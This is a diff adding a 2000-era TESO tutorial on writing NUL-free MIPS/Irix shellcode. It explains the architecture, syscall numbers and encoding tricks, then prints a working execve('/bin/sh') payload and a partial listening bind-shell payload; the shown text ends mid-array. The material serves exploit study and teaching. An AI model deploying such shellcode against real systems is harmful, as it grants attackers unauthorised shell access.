diff options
Diffstat (limited to 'informationals/teso-i0020.txt')
| -rw-r--r-- | informationals/teso-i0020.txt | 669 |
1 files changed, 669 insertions, 0 deletions
diff --git a/informationals/teso-i0020.txt b/informationals/teso-i0020.txt new file mode 100644 index 0000000..e862a7e --- /dev/null +++ b/informationals/teso-i0020.txt | |||
| @@ -0,0 +1,669 @@ | |||
| 1 | 0020 2000/03/29 Writing MIPS/Irix shellcode | ||
| 2 | |||
| 3 | ==== TESO Informational ======================================================= | ||
| 4 | This piece of information is to be kept confidential. | ||
| 5 | =============================================================================== | ||
| 6 | |||
| 7 | Description ..........: Writing MIPS/Irix shellcode | ||
| 8 | Date .................: 2000/03/29 17:00 | ||
| 9 | Author ...............: scut | ||
| 10 | Publicity level ......: known | ||
| 11 | Affected .............: MIPS/Irix shellcode | ||
| 12 | Type of entity .......: technique | ||
| 13 | Type of discovery ....: useful information | ||
| 14 | Severity/Importance ..: low | ||
| 15 | Found by .............: Last Stage of Delirium, DCRH, scut | ||
| 16 | |||
| 17 | =============================================================================== | ||
| 18 | |||
| 19 | Writing shellcode for the MIPS/Irix platform isn't much different then writing | ||
| 20 | shellcode for the x86 architecture. But there are a few tricks and things to | ||
| 21 | obey when attempting to make clean shellcode, which doesn't have any NUL bytes | ||
| 22 | and works completely independent from it's position. | ||
| 23 | |||
| 24 | This small paper will provide you a crash course on writing IRIX shellcode for | ||
| 25 | use in exploits. It covers the basic stuff you need to know to start away | ||
| 26 | writing basic IRIX shellcode. It is divided into the following sections: | ||
| 27 | |||
| 28 | The IRIX operating system | ||
| 29 | MIPS architecture | ||
| 30 | MIPS instructions | ||
| 31 | MIPS registers | ||
| 32 | The MIPS assembly language | ||
| 33 | High level language function representation | ||
| 34 | Syscalls and Exceptions | ||
| 35 | IRIX syscalls | ||
| 36 | Common constructs | ||
| 37 | Tuning the shellcode | ||
| 38 | Example shellcode | ||
| 39 | References | ||
| 40 | |||
| 41 | |||
| 42 | The IRIX operating system | ||
| 43 | ========================= | ||
| 44 | |||
| 45 | The Irix operating system has been developed independently by Silicon Graphics | ||
| 46 | and is UNIX System V.4 compliant. It has been designed for MIPS CPU's, which | ||
| 47 | have a unique history and have pioneered 64bit- and RISC-technology. The | ||
| 48 | current Irix version is 6.5.7. There are two major versions, called feature | ||
| 49 | (6.5.7f) and maintenance (6.5.7m) release, from which the feature release is | ||
| 50 | focused on new features and technologies and the maintenance release on bug | ||
| 51 | fixes and stability. All modern Irix platforms are binary compatible and this | ||
| 52 | shellcode discussion and the example shellcodes have been tested on over half a | ||
| 53 | dozen different Irix computer systems. | ||
| 54 | |||
| 55 | |||
| 56 | MIPS architecture | ||
| 57 | ================= | ||
| 58 | |||
| 59 | First of all you have to have some basic knowledge about the MIPS CPU | ||
| 60 | architecture. There are a lot of different types of the MIPS CPU, the most | ||
| 61 | common are the R4x00 and R10000 series, which share the same instruction set. | ||
| 62 | The MIPS CPU' are typical RISC CPU's, that means they have a reduced | ||
| 63 | instruction set with less instructions then CISC CPU's, such as x86. The main | ||
| 64 | concept of RISC CPU's is a tradeoff between simplicity and concurrency: There | ||
| 65 | are less instructions, but the existing ones can be executed fast and in | ||
| 66 | parallel. Because of this small number of instructions there is less redundancy | ||
| 67 | per instruction, some things can only be done using a single instruction, while | ||
| 68 | on CISC CPU's it is possible in many ways utilizing many different | ||
| 69 | instructions. This also results in MIPS machine code being larger, since often | ||
| 70 | multiple instructions are required to accomplish things CISC CPU's are able to | ||
| 71 | do with one instruction. | ||
| 72 | But this does not mean that multiple instructions also result in slower code. | ||
| 73 | This is a matter of overall execution speed, which is extremely high because | ||
| 74 | of the parallel execution of the instructions. | ||
| 75 | On MIPS CPU's the concurrency is very advanced, the CPU has a pipeline with | ||
| 76 | five slots, which means five instructions are processed in parallel and every | ||
| 77 | instruction has five stages, from the initial IF pipestage (instruction fetch) | ||
| 78 | to the last, the WB pipestage (write back). | ||
| 79 | |||
| 80 | Because the instructions within the pipeline overlap there are some "anomalies" | ||
| 81 | that have to be considered when writing MIPS machine code: | ||
| 82 | |||
| 83 | - there is a branch delay slot, where one instruction after the branch | ||
| 84 | (or jump) instruction is still in the pipeline and executed | ||
| 85 | - the return address for subroutines ($ra) and syscalls (C0_EPC) points | ||
| 86 | not to the instruction after the branch/jump/syscall instruction but to | ||
| 87 | the instruction after the branch delay slot instruction | ||
| 88 | - since every instruction is divided into five pipestages the MIPS design | ||
| 89 | has reflected this on the instructions itself: every instruction is | ||
| 90 | 32 bits broad (4 bytes), and can be divided most of the times into | ||
| 91 | segments which correspond with each pipestage | ||
| 92 | |||
| 93 | |||
| 94 | MIPS instructions | ||
| 95 | ================= | ||
| 96 | |||
| 97 | MIPS instructions are not just 32 bit long each, they often share a similar | ||
| 98 | mapping too. An instruction can be divided into the following sections: | ||
| 99 | |||
| 100 | + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + | ||
| 101 | 31302928272625242322212019181716151413121110 9 8 7 6 5 4 3 2 1 0 | ||
| 102 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | ||
| 103 | | op | sub-op |xxxxxxxxxxxxxxxxxxxxxxxxxxxxx| subcode | | ||
| 104 | +-----------+---------+-----------------------------+-----------+ | ||
| 105 | |||
| 106 | The "op" field denotes the 6bit long primary opcode. Some instructions, such | ||
| 107 | as long jumps (see below) have a unique code here, the rest are grouped by | ||
| 108 | function. The "sub-op" section, which is five bytes long can represent either | ||
| 109 | a specific sub opcode as extension to the primary opcode or can be a register | ||
| 110 | block. A register block is always 5 bits long and selects one of the CPU | ||
| 111 | registers for an operation. The subcode is the opcode for the arithmetic and | ||
| 112 | logical instructions, which have a primary opcode of zero. | ||
| 113 | |||
| 114 | The logical and arithmetic instructions share a RISC-unique attribute: They | ||
| 115 | don't work with two registers, such as common x86 instructions, but they use | ||
| 116 | three registers, named "destination", "target" and "source". This allows more | ||
| 117 | flexible code to be written, if you still want CISC type instructions, such | ||
| 118 | as "add %eax, %ecx", just use the same destination and target register for the | ||
| 119 | operation. | ||
| 120 | |||
| 121 | A typical MIPS instruction looks like: | ||
| 122 | |||
| 123 | or a0, a1, t4 | ||
| 124 | |||
| 125 | which is easy to represent in C as "a0 = a1 | t4". The order is almost every | ||
| 126 | time equivalent to a simple C expression. For the complete list of instructions | ||
| 127 | see either [1] or [2]. | ||
| 128 | |||
| 129 | |||
| 130 | MIPS registers | ||
| 131 | ============== | ||
| 132 | |||
| 133 | For the MIPS registers, it has plenty of 'em. Since we already know registers | ||
| 134 | are addressed using a 5 bit block, there must be 32 registers, and yes, we're | ||
| 135 | right, there are the registers $0 to $31. They are all alike except for $0 and | ||
| 136 | $31. For $0 the case is very simple: No matter what you do to the registers, | ||
| 137 | it always contains zero. This is practical for a lot of arithmetic instructions | ||
| 138 | and can results in elegant code design. The $0 register has been assigned the | ||
| 139 | symbolic name $zero, guess why :-) | ||
| 140 | For the $31 register, it's also called $ra, for "return address". Why should | ||
| 141 | a register ever contain a return address if there is such a nice thing as a | ||
| 142 | stack to store it, how should recursion be handled otherwise ? Well, the short | ||
| 143 | answer is, there is no real stack and yes it works. | ||
| 144 | For the longer answer we will discuss shortly what happens when a function is | ||
| 145 | called on a RISC CPU. When this is done a special instruction called "jal" is | ||
| 146 | used. This instruction overwrites the content of the $ra ($31) register with | ||
| 147 | the appropriate return address and then jumps to an arbitrary address. The | ||
| 148 | called function however sees the return address in $ra and once finished just | ||
| 149 | jumps back (using the "jr" instruction) to the return address. But what if the | ||
| 150 | function wants to to call functions too ? Then there is a stack like segment | ||
| 151 | it can store the return address on, later restore it and then continue to work | ||
| 152 | as usual. | ||
| 153 | Why "stack like" ? Because there is only a stack by convention, any register | ||
| 154 | may be used to behave like a stack. There are no push or pop instructions | ||
| 155 | however, the register has to be adjusted manually. The "stack" register is $29, | ||
| 156 | symbolically referenced as $sp. | ||
| 157 | Are there other register conventions ? Yes, nearly as many as registers | ||
| 158 | itself. For the sake of completeness here is a small listing: | ||
| 159 | |||
| 160 | $0 $zero always contains zero | ||
| 161 | $1 $at is used by assembler (see below), do not use | ||
| 162 | $2-$3 $v0, $v1 subroutine return values | ||
| 163 | $4-$7 $a0-$a3 subroutine arguments | ||
| 164 | $8-$15 $t0-$t7 temporary registers, may be overwritten by subroutine | ||
| 165 | $16-$23 $s0-$s7 subroutine registers, have to be saved by called function | ||
| 166 | before they may be used | ||
| 167 | $24,$25 $t8, $t9 temporary registers | ||
| 168 | $26,$27 $k0, $k1 interrupt/trap handler reserved registers, do not use | ||
| 169 | $28 $gp global pointer, used to access static and extern variables | ||
| 170 | $29 $sp stack pointer | ||
| 171 | $30 $s8/$fp subroutine register, commonly used as a frame pointer | ||
| 172 | $31 $ra return address | ||
| 173 | |||
| 174 | |||
| 175 | The MIPS assembly language | ||
| 176 | ========================== | ||
| 177 | |||
| 178 | Because the instructions are relatively primitive but programmers often want to | ||
| 179 | accomplish more complex things, the MIPS assembly language works with a lot of | ||
| 180 | macro instructions. They provide sometimes really necessary operations such as | ||
| 181 | subtracting a number from a register (which is converted to a signed add by the | ||
| 182 | assembler) to complex macros, such as finding the remainder for a division. | ||
| 183 | But the assembler does a lot more then providing macros for common operations. | ||
| 184 | We already mentioned the pipeline where instructions are processed in parallel. | ||
| 185 | The execution often directly depends on the order within the pipeline, because | ||
| 186 | the registers accessed with the instructions are written back in the last | ||
| 187 | pipestage, the WB (write-back) stage and cannot be accessed before by other | ||
| 188 | instructions. For old MIPS CPU's the MIPS abbreviation is true when saying | ||
| 189 | "Microcomputer without Interlocked Pipeline Stages", you just cannot access the | ||
| 190 | register in the instruction directly following the one that modifies this | ||
| 191 | register. Nearly all MIPS CPU's currently in use do have a interlock though, | ||
| 192 | they just wait until the data from the instruction is written back to the | ||
| 193 | register before allowing the following instruction to read it. | ||
| 194 | In practice you only have to worry when writing very low level assemble code, | ||
| 195 | such as shellcode :-), because most of the times the assembler will reorder and | ||
| 196 | replace your instructions so that they exploit the pipelined architecture at | ||
| 197 | best. You can turnoff the reordering and macros in any MIPS assembler if you | ||
| 198 | want to. | ||
| 199 | |||
| 200 | The MIPS CPU's and RISC CPU's altogether weren't designed for easy assembly | ||
| 201 | language programming. It is more difficult to program a RISC CPU in assembly | ||
| 202 | then any CISC CPU. Even the first sentences of the MIPS Pro Assembler Manual | ||
| 203 | from the MIPS corporation recommend to use MIPS assembly language only for | ||
| 204 | hardware near routines or operating system programming. In most cases a good | ||
| 205 | C compiler, such as the one SGI developed will optimize the pipeline and | ||
| 206 | register usage way better then any programmer might do this in assembly. | ||
| 207 | However, when writing shellcodes we have to face the bare machine code and | ||
| 208 | have to write size optimized code which doesn't contain any NUL bytes. A | ||
| 209 | compiler might use large code to unroll loops or to use faster constructs. | ||
| 210 | |||
| 211 | |||
| 212 | High level language function representation | ||
| 213 | =========================================== | ||
| 214 | |||
| 215 | A normal C function can be represented very easily in MIPS assembly most of | ||
| 216 | the times. You have to differentiate between leaf and non-leaf functions. A | ||
| 217 | non-leaf function is a function that does not call any other functions. Such | ||
| 218 | functions do not need to store the return address on the stack, but keep it in | ||
| 219 | $ra for the whole time. The arguments to a function are stored by the calling | ||
| 220 | function in $a0, $a1, $a2 and $a3. If this space isn't enough extra stack space | ||
| 221 | is used, but in most cases the registers suffice. The function may return two | ||
| 222 | 32bit values through the $v0 and $v1 registers. For temporary space the called | ||
| 223 | function may use the stack referenced by $sp. Also registers are commonly saved | ||
| 224 | on the stack and later restored from it. The stack usually starts at 0x80000000 | ||
| 225 | and grows towards small addresses. It is very similar to the stack of a x86 | ||
| 226 | system. | ||
| 227 | |||
| 228 | |||
| 229 | Syscalls and Exceptions | ||
| 230 | ======================= | ||
| 231 | |||
| 232 | On a typical Unix system there are only two modes the current execution can | ||
| 233 | happen in: The user and the kernel mode. In most modern architectures this | ||
| 234 | modes are directly supported by the CPU. The MIPS CPU has this two modes plus | ||
| 235 | an extra mode called "supervisor mode". It was requested by engineers at DEC | ||
| 236 | for their new range of Workstations when the MIPS R4000 CPU was designed. Since | ||
| 237 | the VMS/DEC market was important to MIPS they implemented this third mode at | ||
| 238 | DEC's request to allow the VMS operating system to be run on the CPU. However, | ||
| 239 | DEC decided later to develop their own CPU, the Alpha CPU and the mode | ||
| 240 | remained unused. | ||
| 241 | |||
| 242 | Back to the execution modes, on current operating systems designed for the | ||
| 243 | MIPS CPU only the kernel and user mode is being used. To switch from the user | ||
| 244 | mode to the kernel mode there is a mechanism called "exceptions". Whenever | ||
| 245 | a user space process wants to let the kernel to do something or whenever the | ||
| 246 | current execution can't be successfully continued the control is passed to the | ||
| 247 | kernel space exception handler. | ||
| 248 | |||
| 249 | For shellcode construction we have to know that we can make the kernel | ||
| 250 | execute important operating system related stuff like I/O operations through | ||
| 251 | the syscall exception, which is triggered through the "syscall" instruction. | ||
| 252 | The syscall instruction looks like: | ||
| 253 | |||
| 254 | syscall 0000.00xx xxxx.xxxx xxxx.xxxx xx00.1100 | ||
| 255 | |||
| 256 | Where the x's represent the syscall code, which is ignored on the Irix system. | ||
| 257 | To avoid NUL bytes you can set those x-bits to arbitrary data. | ||
| 258 | |||
| 259 | |||
| 260 | IRIX syscalls | ||
| 261 | ============= | ||
| 262 | |||
| 263 | The following list covers the most important syscalls for use in shellcodes. | ||
| 264 | After all registers have been appropiatly set the "syscall" instruction is | ||
| 265 | executed and the execution flow is passed to the kernel. | ||
| 266 | |||
| 267 | == accept | ||
| 268 | int accept (int s, struct sockaddr *addr, socklen_t *addrlen); | ||
| 269 | |||
| 270 | a0 = (int) s | ||
| 271 | a1 = (struct sockaddr *) addr | ||
| 272 | a2 = (socklen_t *) addrlen | ||
| 273 | v0 = SYS_accept = 1089 = 0x0441 | ||
| 274 | |||
| 275 | return values | ||
| 276 | |||
| 277 | a3 = 0 success, a3 != 0 on failure | ||
| 278 | v0 = new socket | ||
| 279 | |||
| 280 | == bind | ||
| 281 | int bind (int sockfd, struct sockaddr *my_addr, socklen_t addrlen); | ||
| 282 | |||
| 283 | a0 = (int) sockfd | ||
| 284 | a1 = (struct sockaddr *) my_addr | ||
| 285 | a2 = (socklen_t) addrlen | ||
| 286 | v0 = SYS_bind = 1090 = 0x0442 | ||
| 287 | |||
| 288 | For the IN protocol family (TCP/IP) the sockaddr pointer points to a | ||
| 289 | sockaddr_in struct which is 16 bytes long and typically looks like: | ||
| 290 | "\x00\x02\xaa\xbb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", | ||
| 291 | where aa is ((port >> 8) & 0xff) and bb is (port & 0xff). | ||
| 292 | |||
| 293 | return values | ||
| 294 | |||
| 295 | a3 = 0 success, a3 != 0 on failure | ||
| 296 | v0 = 0 success, v0 != 0 on failure | ||
| 297 | |||
| 298 | == close | ||
| 299 | int close (int fd); | ||
| 300 | |||
| 301 | a0 = (int) fd | ||
| 302 | v0 = SYS_close = 1006 = 0x03ee | ||
| 303 | |||
| 304 | return values | ||
| 305 | |||
| 306 | a3 = 0 success, a3 != 0 on failure | ||
| 307 | v0 = 0 success, v0 != 0 on failure | ||
| 308 | |||
| 309 | == execve | ||
| 310 | int execve (const char *filename, char *const argv [], char *const envp[]); | ||
| 311 | |||
| 312 | a0 = (const char *) filename | ||
| 313 | a1 = (chat * const) argv[] | ||
| 314 | a2 = (char * const) envp[] | ||
| 315 | v0 = SYS_execve = 1059 = 0x0423 | ||
| 316 | |||
| 317 | return values | ||
| 318 | |||
| 319 | shouldn't return but replace current process with program, it only returns | ||
| 320 | in case of errors | ||
| 321 | |||
| 322 | == fcntl | ||
| 323 | int fcntl (int fd, int cmd); | ||
| 324 | int fcntl (int fd, int cmd, long arg); | ||
| 325 | |||
| 326 | a0 = (int) fd | ||
| 327 | a1 = (int) cmd | ||
| 328 | a2 = (long) arg in case the command requires an argument | ||
| 329 | v0 = SYS_fcntl = 1062 = 0x0426 | ||
| 330 | |||
| 331 | return values | ||
| 332 | |||
| 333 | a3 = 0 on success, a3 != 0 on failure | ||
| 334 | v0 is the real return value and depends on the operation, see fcntl(2) for | ||
| 335 | further information | ||
| 336 | |||
| 337 | == listen | ||
| 338 | int listen (int s, int backlog); | ||
| 339 | |||
| 340 | a0 = (int) s | ||
| 341 | a1 = (int) backlog | ||
| 342 | v0 = SYS_listen = 1096 = 0x0448 | ||
| 343 | |||
| 344 | return values | ||
| 345 | |||
| 346 | a3 = 0 on success, a3 != 0 on failure | ||
| 347 | |||
| 348 | == read | ||
| 349 | ssize_t read (int fd, void *buf, size_t count); | ||
| 350 | |||
| 351 | a0 = (int) fd | ||
| 352 | a1 = (void *) buf | ||
| 353 | a2 = (size_t) count | ||
| 354 | v0 = SYS_read = 1003 = 0x03eb | ||
| 355 | |||
| 356 | return values | ||
| 357 | |||
| 358 | a3 = 0 on success, a3 != 0 on failure | ||
| 359 | v0 = number of bytes read | ||
| 360 | |||
| 361 | == socket | ||
| 362 | int socket (int domain, int type, int protocol); | ||
| 363 | |||
| 364 | a0 = (int) domain | ||
| 365 | a1 = (int) type | ||
| 366 | a2 = (int) protocol | ||
| 367 | v0 = SYS_socket = 1107 = 0x0453 | ||
| 368 | |||
| 369 | return values | ||
| 370 | |||
| 371 | a3 = 0 on success, a3 != 0 on failure | ||
| 372 | v0 = new socket | ||
| 373 | |||
| 374 | The dup2 functionality isn't implemented as system call but as libc wrapper for | ||
| 375 | close and fcntl. Basically the dup2 function looks like (simplified): | ||
| 376 | |||
| 377 | int dup2 (int des1, int des2) { | ||
| 378 | int tmp_errno, | ||
| 379 | maxopen; | ||
| 380 | |||
| 381 | maxopen = (int) ulimit (4, 0); | ||
| 382 | if (maxopen < 0) | ||
| 383 | maxopen = OPEN_MAX; | ||
| 384 | |||
| 385 | if (fcntl (des1, F_GETFL, 0) == -1) | ||
| 386 | _setoserror (EBADF); | ||
| 387 | |||
| 388 | return -1; | ||
| 389 | } | ||
| 390 | |||
| 391 | if (des2 >= maxopen || des2 < 0) { | ||
| 392 | _setoserror (EBADF); | ||
| 393 | |||
| 394 | return -1; | ||
| 395 | } | ||
| 396 | |||
| 397 | if (des1 == des2) | ||
| 398 | return des2; | ||
| 399 | |||
| 400 | tmp_errno = _oserror(); | ||
| 401 | close (des2); | ||
| 402 | _setoserror (tmp_errno); | ||
| 403 | |||
| 404 | return (fcntl (des1, F_DUPFD, des2)); | ||
| 405 | } | ||
| 406 | |||
| 407 | So without the validation dup2 (des1, des2) can be rewritten as: | ||
| 408 | close (des2); | ||
| 409 | fcntl (des1, F_DUPFD, des2); | ||
| 410 | |||
| 411 | Which has been done in the portshell shellcode below. | ||
| 412 | |||
| 413 | |||
| 414 | Common constructs | ||
| 415 | ================= | ||
| 416 | |||
| 417 | When writing shellcode there are always common operations, like getting the | ||
| 418 | current address. Here are a few techniques that you can use in your shellcodes: | ||
| 419 | |||
| 420 | == Getting the current address | ||
| 421 | |||
| 422 | li t8, -0x7350 /* load t8 with -0x7350 (leet) */ | ||
| 423 | foo: bltzal t8, foo /* branch with $ra stored if t8 < 0 */ | ||
| 424 | slti t8, zero, -1 /* t8 = 0 (see below) */ | ||
| 425 | bar: | ||
| 426 | |||
| 427 | Because the slti instruction is in the branch delay slot when the bltzal is | ||
| 428 | executed the next time the bltzal won't branch and t8 will remain zero. $ra | ||
| 429 | holds the address of the bar label when the label is reached. | ||
| 430 | |||
| 431 | == Loading small integer values | ||
| 432 | |||
| 433 | Because every instruction is 32 bits long you cannot immediately load a 32 bit | ||
| 434 | value into a register but you have to use two instructions. Most of the times, | ||
| 435 | however, you just want to load small values, below 256. Values below 2^16 are | ||
| 436 | stored as 16 bit value within the instruction and values below 256 will result | ||
| 437 | in ugly NUL bytes, that should be avoided in proper shellcodes. Therefore we | ||
| 438 | use a trick to load such small values: | ||
| 439 | |||
| 440 | loading zero into reg: | ||
| 441 | slti reg, zero, -1 | ||
| 442 | |||
| 443 | loading one into reg: | ||
| 444 | slti reg, zero, 0x0101 | ||
| 445 | |||
| 446 | loading small integer values into reg: | ||
| 447 | li t8, -valmod /* valmod = value + 1 */ | ||
| 448 | not reg, t8 | ||
| 449 | |||
| 450 | For example if we want to load 4 into reg we would use: | ||
| 451 | li t8, -5 | ||
| 452 | not reg, t8 | ||
| 453 | |||
| 454 | In case you need small values more then one time you can also store them into | ||
| 455 | saved registers ($s0 - $s7, optionally $s8). | ||
| 456 | |||
| 457 | == Moving registers | ||
| 458 | |||
| 459 | In normal MIPS assembly you'd use the simple move instruction, which results in | ||
| 460 | an "or" instruction, but in shellcode you have to avoid NUL bytes, and you can | ||
| 461 | use this construction, if you know that the value in the register is below | ||
| 462 | 0xffff: | ||
| 463 | andi reg, source, 0xffff | ||
| 464 | |||
| 465 | |||
| 466 | Tuning the shellcode | ||
| 467 | ==================== | ||
| 468 | |||
| 469 | I recommend that you write your shellcodes in normal MIPS assembly and | ||
| 470 | afterwards start removing the NUL bytes from top to bottom. For simple load | ||
| 471 | instructions you can use the constructs above. For essential instructions try | ||
| 472 | to play with the different registers, in some cases NUL bytes may be removed | ||
| 473 | from arithmetic and logic instructions by using higher registers, such as $t8 | ||
| 474 | or $s7. Next try replacing the single instruction with two or three | ||
| 475 | accomplishing the same. Make use of the return values of syscalls or known | ||
| 476 | register contents. Be creative, use a MIPS instruction reference from [1] or | ||
| 477 | [2] and your brain and you'll always find a good replacement. | ||
| 478 | |||
| 479 | Once you made your shellcode NUL free you'll notice the size has increased and | ||
| 480 | your shellcode is quite bloated. Don't worry, this is normal, there is almost | ||
| 481 | nothing you can do about it, RISC code is nearly always larger then the same | ||
| 482 | code on x86. But you can do some small optimizations to decrease the size. At | ||
| 483 | first try to find replacements for instruction blocks, where more then one | ||
| 484 | instruction is used to do one thing. Always take a look at the current register | ||
| 485 | content and make use of return values or previously loaded values. Sometimes | ||
| 486 | reordering saves you from doing jumps. | ||
| 487 | |||
| 488 | |||
| 489 | Example shellcode | ||
| 490 | ================= | ||
| 491 | |||
| 492 | All the shellcodes have been tested on the following systems, (thanks to vax, | ||
| 493 | oxigen, zap and hendy): | ||
| 494 | |||
| 495 | R4000/6.2, R4000/6.5, R4400/5.3, R4400/6.2, R4600/5.3, R5000/6.5 and R10000/6.4. | ||
| 496 | |||
| 497 | == execve | ||
| 498 | |||
| 499 | /* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso | ||
| 500 | */ | ||
| 501 | unsigned long int shellcode[] = { | ||
| 502 | 0xafa0fffc, /* sw $zero, -4($sp) */ | ||
| 503 | 0x24067350, /* li $a2, 0x7350 */ | ||
| 504 | /* dpatch: */ 0x04d0ffff, /* bltzal $a2, dpatch */ | ||
| 505 | 0x8fa6fffc, /* lw $a2, -4($sp) */ | ||
| 506 | /* a2 = (char **) envp = NULL */ | ||
| 507 | |||
| 508 | 0x240fffcb, /* li $t7, -53 */ | ||
| 509 | 0x01e07827, /* nor $t7, $t7, $zero */ | ||
| 510 | 0x03eff821, /* addu $ra, $ra, $t7 */ | ||
| 511 | |||
| 512 | /* a0 = (char *) pathname */ | ||
| 513 | 0x23e4fff8, /* addi $a0, $ra, -8 */ | ||
| 514 | |||
| 515 | /* fix 0x42 dummy byte in pathname to shell */ | ||
| 516 | 0x8fedfffc, /* lw $t5, -4($ra) */ | ||
| 517 | 0x25adffbe, /* addiu $t5, $t5, -66 */ | ||
| 518 | 0xafedfffc, /* sw $t5, -4($ra) */ | ||
| 519 | |||
| 520 | /* a1 = (char **) argv */ | ||
| 521 | 0xafa4fff8, /* sw $a0, -8($sp) */ | ||
| 522 | 0x27a5fff8, /* addiu $a1, $sp, -8 */ | ||
| 523 | |||
| 524 | 0x24020423, /* li $v0, 1059 (SYS_execve) */ | ||
| 525 | 0x0101010c, /* syscall */ | ||
| 526 | 0x2f62696e, /* .ascii "/bin" */ | ||
| 527 | 0x2f736842, /* .ascii "/sh", .byte 0xdummy */ | ||
| 528 | }; | ||
| 529 | |||
| 530 | == portshell (listening) | ||
| 531 | |||
| 532 | /* 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso | ||
| 533 | */ | ||
| 534 | unsigned long int shellcode[] = { | ||
| 535 | 0x2416fffd, /* li $s6, -3 */ | ||
| 536 | 0x02c07027, /* nor $t6, $s6, $zero */ | ||
| 537 | 0x01ce2025, /* or $a0, $t6, $t6 */ | ||
| 538 | 0x01ce2825, /* or $a1, $t6, $t6 */ | ||
| 539 | 0x240efff9, /* li $t6, -7 */ | ||
| 540 | 0x01c03027, /* nor $a2, $t6, $zero */ | ||
| 541 | 0x24020453, /* li $v0, 1107 (socket) */ | ||
| 542 | 0x0101010c, /* syscall */ | ||
| 543 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 544 | |||
| 545 | 0x3050ffff, /* andi $s0, $v0, 0xffff */ | ||
| 546 | 0x280d0101, /* slti $t5, $zero, 0x0101 */ | ||
| 547 | 0x240effee, /* li $t6, -18 */ | ||
| 548 | 0x01c07027, /* nor $t6, $t6, $zero */ | ||
| 549 | 0x01cd6804, /* sllv $t5, $t5, $t6 */ | ||
| 550 | 0x240e7350, /* li $t6, 0x7350 (port) */ | ||
| 551 | 0x01ae6825, /* or $t5, $t5, $t6 */ | ||
| 552 | 0xafadfff0, /* sw $t5, -16($sp) */ | ||
| 553 | 0xafa0fff4, /* sw $zero, -12($sp) */ | ||
| 554 | 0xafa0fff8, /* sw $zero, -8($sp) */ | ||
| 555 | 0xafa0fffc, /* sw $zero, -4($sp) */ | ||
| 556 | 0x02102025, /* or $a0, $s0, $s0 */ | ||
| 557 | 0x240effef, /* li $t6, -17 */ | ||
| 558 | 0x01c03027, /* nor $a2, $t6, $zero */ | ||
| 559 | 0x03a62823, /* subu $a1, $sp, $a2 */ | ||
| 560 | 0x24020442, /* li $v0, 1090 (bind) */ | ||
| 561 | 0x0101010c, /* syscall */ | ||
| 562 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 563 | |||
| 564 | 0x02102025, /* or $a0, $s0, $s0 */ | ||
| 565 | 0x24050101, /* li $a1, 0x0101 */ | ||
| 566 | 0x24020448, /* li $v0, 1096 (listen) */ | ||
| 567 | 0x0101010c, /* syscall */ | ||
| 568 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 569 | |||
| 570 | 0x02102025, /* or $a0, $s0, $s0 */ | ||
| 571 | 0x27a5fff0, /* addiu $a1, $sp, -16 */ | ||
| 572 | 0x240dffef, /* li $t5, -17 */ | ||
| 573 | 0x01a06827, /* nor $t5, $t5, $zero */ | ||
| 574 | 0xafadffec, /* sw $t5, -20($sp) */ | ||
| 575 | 0x27a6ffec, /* addiu $a2, $sp, -20 */ | ||
| 576 | 0x24020441, /* li $v0, 1089 (accept) */ | ||
| 577 | 0x0101010c, /* syscall */ | ||
| 578 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 579 | 0x3057ffff, /* andi $s7, $v0, 0xffff */ | ||
| 580 | |||
| 581 | 0x2804ffff, /* slti $a0, $zero, -1 */ | ||
| 582 | 0x240203ee, /* li $v0, 1006 (close) */ | ||
| 583 | 0x0101010c, /* syscall */ | ||
| 584 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 585 | |||
| 586 | 0x02f72025, /* or $a0, $s7, $s7 */ | ||
| 587 | 0x2805ffff, /* slti $a1, $zero, -1 */ | ||
| 588 | 0x2806ffff, /* slti $a2, $zero, -1 */ | ||
| 589 | 0x24020426, /* li $v0, 1062 (fcntl) */ | ||
| 590 | 0x0101010c, /* syscall */ | ||
| 591 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 592 | |||
| 593 | 0x28040101, /* slti $a0, $zero, 0x0101 */ | ||
| 594 | 0x240203ee, /* li $v0, 1006 (close) */ | ||
| 595 | 0x0101010c, /* syscall */ | ||
| 596 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 597 | |||
| 598 | 0x02f72025, /* or $a0, $s7, $s7 */ | ||
| 599 | 0x2805ffff, /* slti $a1, $zero, -1 */ | ||
| 600 | 0x28060101, /* slti $a2, $zero, 0x0101 */ | ||
| 601 | 0x24020426, /* li $v0, 1062 (fcntl) */ | ||
| 602 | 0x0101010c, /* syscall */ | ||
| 603 | 0x240f7350, /* li $t7, 0x7350 */ | ||
| 604 | |||
| 605 | 0x02c02027, /* nor $a0, $s6, $zero */ | ||
| 606 | 0x240203ee, /* li $v0, 1006 (close) */ | ||
| 607 | 0x0101010c, /* syscall */ | ||
| 608 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 609 | |||
| 610 | 0x02f72025, /* or $a0, $s7, $s7 */ | ||
| 611 | 0x2805ffff, /* slti $a1, $zero, -1 */ | ||
| 612 | 0x02c03027, /* nor $a2, $s6, $zero */ | ||
| 613 | 0x24020426, /* li $v0, 1062 (fcntl) */ | ||
| 614 | 0x0101010c, /* syscall */ | ||
| 615 | 0x240f7350, /* li $t7, 0x7350 (nop) */ | ||
| 616 | |||
| 617 | 0xafa0fffc, /* sw $zero, -4($sp) */ | ||
| 618 | 0x24068cb0, /* li $a2, -29520 */ | ||
| 619 | 0x04d0ffff, /* bltzal $a2, pc-4 */ | ||
| 620 | 0x8fa6fffc, /* lw $a2, -4($sp) */ | ||
| 621 | 0x240fffc7, /* li $t7, -57 */ | ||
| 622 | 0x01e07827, /* nor $t7, $t7, $zero */ | ||
| 623 | 0x03eff821, /* addu $ra, $ra, $t7 */ | ||
| 624 | 0x23e4fff8, /* addi $a0, $ra, -8 */ | ||
| 625 | 0x8fedfffc, /* lw $t5, -4($ra) */ | ||
| 626 | 0x25adffbe, /* addiu $t5, $t5, -66 */ | ||
| 627 | 0xafedfffc, /* sw $t5, -4($ra) */ | ||
